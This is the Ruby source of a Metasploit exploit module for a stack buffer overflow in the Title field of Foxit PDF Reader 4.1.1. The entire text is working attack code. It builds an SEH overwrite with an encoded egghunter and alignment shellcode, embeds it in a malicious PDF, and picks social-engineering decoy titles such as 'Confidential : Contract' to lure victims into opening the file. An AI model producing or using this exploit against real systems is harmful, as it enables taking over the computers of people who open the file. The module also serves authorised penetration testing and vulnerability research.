Foxit PDF Reader 4.1.1 – Title Stack Buffer Overflow (Metasploit)
## # $Id: foxit_title_bof.rb 11353 2010-12-16 20:11:01Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::PDF include Msf::Exploit::Egghunter #include Msf::Exploit::Seh # unused due to special circumstances def initialize(info = {}) super(update_info(info, 'Name' => 'Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Foxit PDF Reader prior to version 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in the Title field. This results in overwriting a structured exception handler record. NOTE: This exploit does not use javascript. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 11353 $", 'Author' => [ 'dookie', # Discovered the bug 'Sud0', # Original exploit (from Offsec Exploit Weekend) 'corelanc0d3r', # Metasploit exploit 'jduck' # Metasploit-fu ], 'References' => [ #[ 'CVE', '' ], [ 'OSVDB', '68648' ], [ 'URL', 'http://www.exploit-db.com/exploits/15532' ], [ 'URL', 'http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/' ] ], 'Payload' => { 'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'EDI', # egghunter jmp edi } }, 'Platform' => 'win', 'Targets' => [ [ 'Foxit Reader v4.1.1 XP Universal', { 'Offset' => 540, 'Ret' => "\x4B\x6A" } ] #unicode p/p/r foxit reader.exe ], 'DisclosureDate' => 'Nov 13 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf']) ], self.class) end def exploit @label = rand_text_alpha(7) nseh = "\x5A\x41" # pop edx -- to make edx writable seh = target['Ret'] # inc ecx / pop esp / popad / push esp / ret align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3" ecx_control = "\xB3\x30\xB3" # becomes ecx hunter, @egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) # Encode with alphamixed, then unicode mixed [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name| enc = framework.encoders.create(name) if name =~ /unicode/ enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' }) else enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' }) end # NOTE: we already eliminated badchars hunter = enc.encode(hunter, nil, nil, platform) if name =~/alpha/ #insert getpc_stub & align EDX, unicode encoder friendly. #Hardcoded stub is not an issue here because it gets encoded anyway getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35" hunter = getpc_stub + hunter end } #tweak hunter, patched to make it write to ECX hunter[1] = "a" doctitles = [ "Confidential : Contract + Terms of Use", "Contract information", "Acquisition contract", "...loading, please wait...", "Trademark, patent and copyright information", "Limited Liability Partnership", "Partnership agreement", "Last will and testament", "How to hack gmail", "Running Metasploit on Windows Mobile", "Free torrent sites", "Lady Gaga naked", "Free Shopping vouchers" ] sploit = '' sploit << doctitles[rand(doctitles.length)] sploit << " " * (target['Offset'] - sploit.length) sploit << nseh << seh sploit << align sploit << ecx_control sploit << hunter file_create(make_pdf(sploit)) end # Override the mixin obfuscator since it doesn't seem to work here. def nObfu(str) return str end def trailer(root_obj) ret = 'trailer' ret << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) ret << nObfu("/Info ") << ioRef(5) ret << nObfu("/#{@label} #{@egg}") ret << nObfu(">>") ret << eol ret end def make_pdf(sploit) @pdf << header('1.4') add_object(1, nObfu("<</ViewerPreferences<</DisplayDocTitle true>>/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/Type/Catalog/Lang(en-US)>>")) add_object(2, nObfu("<</Type/Outlines/Count 0>>")) add_object(3, nObfu("<</Count 1/Type/Pages/Kids[") << ioRef(4) << nObfu("]>>")) add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>")) add_object(5, nObfu("<</Title (") + sploit + nObfu(")>>")) finish_pdf end end |